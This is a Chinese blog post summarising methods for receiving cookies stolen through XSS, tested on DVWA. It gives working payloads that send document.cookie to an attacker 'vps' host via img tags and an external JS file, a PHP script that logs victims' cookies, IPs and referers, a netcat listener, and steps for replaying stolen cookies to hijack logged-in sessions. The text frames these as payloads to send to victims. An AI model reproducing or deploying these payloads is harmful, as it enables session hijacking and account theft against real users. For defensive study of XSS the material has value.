0x01 前言

最近总结了一下自己接收cookie的方法,和大家分享一下。来源于平时的积累和良师益友的分享。

0x02 进入正题

一:通过XSS平台接收cookie。
这个相信每个人都用过,是大家接收cookie最常用的一种方式。
1.去网上的XSS平台或者自己搭建的XSS平台新建一个项目。

2.在这里我们勾选默认模块,默认模块就是盗取cookie的,然后选择keepsession。

3.然后我们点击下一步,我们“cookie盗取”的项目就创建好了。

4.下面我们便可以将构造好的盗取cookie的payload发送给受害者,这里我们用DVWA做测试。我们可以直接使用XSS平台的payload,也可以自行构造payload。在这里我们直接使用XSS平台的payload。

5.查看我们接收到的cookie。

6.cookie利用。
方法一:利用火狐插件"tamper data",将我们抓取的cookie添加进去。

点击OK,登录成功。

方法二:使用F12调试调试工具,找到我们的cookie,将cookie替换为我们抓取到的cookie。

再次访问“127.0.0.1/dvwa/”,即可登陆成功。

二:通过PHP页面接收cookie。
大家可以把接收cookie的PHP页面放到自己的vps上,这种方法用来接收用户cookie也是非常好用的。
1.在自己LAMP环境的vps上新建一个名为receive.php的页面,键入以下代码接收cookie。

<?php$cookie=$_GET['cookie'];$ip=getenv('REMOTE_ADDR');$time=date('Y-m-d g:i:s');$referer=getenv('HTTP_REFERER');$rec=fopen('cookie.txt','a');fwrite($rec,"IP:".$ip."| time:".$time."| referer:".$referer."| cookie:".$cookie."\n");fclose($rec);
?>

接下来我们就需要构造可以发送用户cookie到我们vps的payload。这里有以下2种方法。
方法一:直接利用script和img标签构造发送cookie的payload。
这种方法构造的payload较长。在DVWA有对输入字符长度的限制,这里我们可以通过审查元素绕过。

<script>document.write('<img src="http://vps/receive.php?cookie='+document.cookie+'" />')</script>

添加成功后,在我们vps中receive.php所在页面生成了一个名为cookie.txt的文件,盗取用户的cookie就被保存在这个文件中。

方法二:加载外部JS文件盗取cookie。
这样我们可以将更多的XSS代码放到外部的JS文件中,非常方便。这样也可以减小我们输入字符的长度。

<script src="http://vps/xss.js"></script>

xss.js文件内容:

new Image().src="http://vps/receive.php?cookie="+document.cookie;

接下来我们将payload插入到DVWA中。

插入成功后,同样在我们的cookie.txt中接收到了用户的cookie。

三:通过nc接收用户cookie。
1.构造插入到DVWA中的payload:

<script>document.write('<img src="http://vps/?'+document.cookie+'" />')</script>

2.在自己的vps中监听本地80端口(如果想从别的端口监听,需要在payload中vps地址后面加上指定的端口号)。

命令:nc -lvp 80

3.将我们的payload插入到DVWA中,成功监听到用户的cookie。

0x03 后记

本文所介绍的内容都比较基础,主要是想和大家分享一下,还有许多我不知道的接收cookie的方法,希望能和大家一起交流补充,谢谢。

接收Cookie总结相关推荐

  1. Ajax跨域请求,无法传递及接收cookie信息解决方案

    Ajax跨域请求,无法传递及接收cookie信息解决方案 参考文章: (1)Ajax跨域请求,无法传递及接收cookie信息解决方案 (2)https://www.cnblogs.com/yalong ...

  2. Ajax跨域请求action方法,无法传递及接收cookie信息(应用于系统登录认证及退出)解决方案

    Ajax跨域请求action方法,无法传递及接收cookie信息(应用于系统登录认证及退出)解决方案 参考文章: (1)Ajax跨域请求action方法,无法传递及接收cookie信息(应用于系统登录 ...

  3. 简单xss接收cookie平台的搭建以及xss拿cookie的一些总结

    接收平台的搭建_BlueLotus_XSSReceiver 这个是搭建教程: 打Cookie小工具_BlueLotus_XSSReceiver 链接:百度网盘 请输入提取码 提取码: tdoj 我是将 ...

  4. 使用HttpOnly提升Cookie安全性

    在介绍HttpOnly之前,我想跟大家聊聊Cookie及XSS. 随着B/S的普及,我们平时上网都是依赖于http协议完成,而Http是无状态的,即同一个会话的连续两个请求互相不了解,他们由最新实例化 ...

  5. fetch 自动加cookie_如何在shell中动态获取chrome浏览器的cookie信息

    0. 背景 在工作的时候,经常要接触一些办公系统,在网页上通过机械化的操作,来完成一个简单的功能,比如某台主机权限的申请,通过一套操作一下,大概7.8个步骤,花费30秒的时间,虽然不长,但是要脱离终端 ...

  6. 【ASP.NET Web API教程】5.5 ASP.NET Web API中的HTTP Cookie

    5.5 HTTP Cookies in ASP.NET Web API 5.5 ASP.NET Web API中的HTTP Cookie 本文引自:http://www.asp.net/web-api ...

  7. 【CyberSecurityLearning 48】PHP Cookie 和 SESSION

    目录 会话控制 COOKIE 设置cookie的语句:setcookie(): setcookie的属性(性质): 服务器怎么接收cookie信息 session机制 session_start $_ ...

  8. [转]使用HttpOnly提升Cookie安全性

    原文:https://www.cnblogs.com/zlhff/p/5477943.html 在介绍HttpOnly之前,我想跟大家聊聊Cookie及XSS. 随着B/S的普及,我们平时上网都是依赖 ...

  9. 盗COOKIE之方法总结

    1.xss跨站盗cookie 2.ajax跨域盗cookie 3.hosts文件映射 对于第一种方法,首先:在有跨站漏洞的页面贴上跨站代码如: <script>window.open('h ...

最新文章

  1. 如何让hierarchyviewer调试查看商业版真机上的应用
  2. Extjs发票管理系统
  3. Windows7旗舰版磁盘分区详解—附分区步骤截图
  4. abb限位开关已打开drv1_广告雕刻机限位开关触发
  5. tensorflow python3.6_[教程]Tensorflow + win10 + CPU + Python3.6+ 安装教程
  6. 如何使用ES6在JavaScript中有条件地构建对象
  7. Android笔记 simpleAdapter demo
  8. linux 下rpm软件的安装和卸载
  9. deepin和UOS sunpinyin 皮肤添加
  10. gpg: verify signatures failed: 文件打开错误
  11. Jxl读写Excel文件
  12. 江苏专转本计算机大类(计算机理论基础A)知识点
  13. html页面睡眠函数,JavaScript sleep睡眠函数
  14. 阿里云服务器价格表(最新海外地域价格表)
  15. 【SIGIR2017满分论文】IRGAN:大一统信息检索模型的博弈竞争
  16. Vue项目provide和inject的使用
  17. 求解袋鼠过河问题(dp)
  18. vs2010添加OCX控件并调用OCX中的函数
  19. 细胞培养常见问题分析
  20. 传感器分类大全_莫韵乐的知识拓展系列

热门文章

  1. STC89C52定时器的简介
  2. java-php-python-ssm蔬菜水果销售系统计算机毕业设计
  3. 小程序怎么做线下推广
  4. android 无法播放mp4视频,Android VideoView无法播放视频错误,特别是.mp4
  5. webstorm项目上传git遇到的坑
  6. Linux4种常用软件安装方法(源代码,二进制,rpm,yum)
  7. 定风波/三月七日——苏轼
  8. Linux 运维经验
  9. 下列不属于计算机未来发展趋势的是,1-9 关于计算机的发展趋势,下面哪种不是未来发展趋势 ____________ 。_学小易找答案...
  10. 关于%(取余)和 /(取整)的解释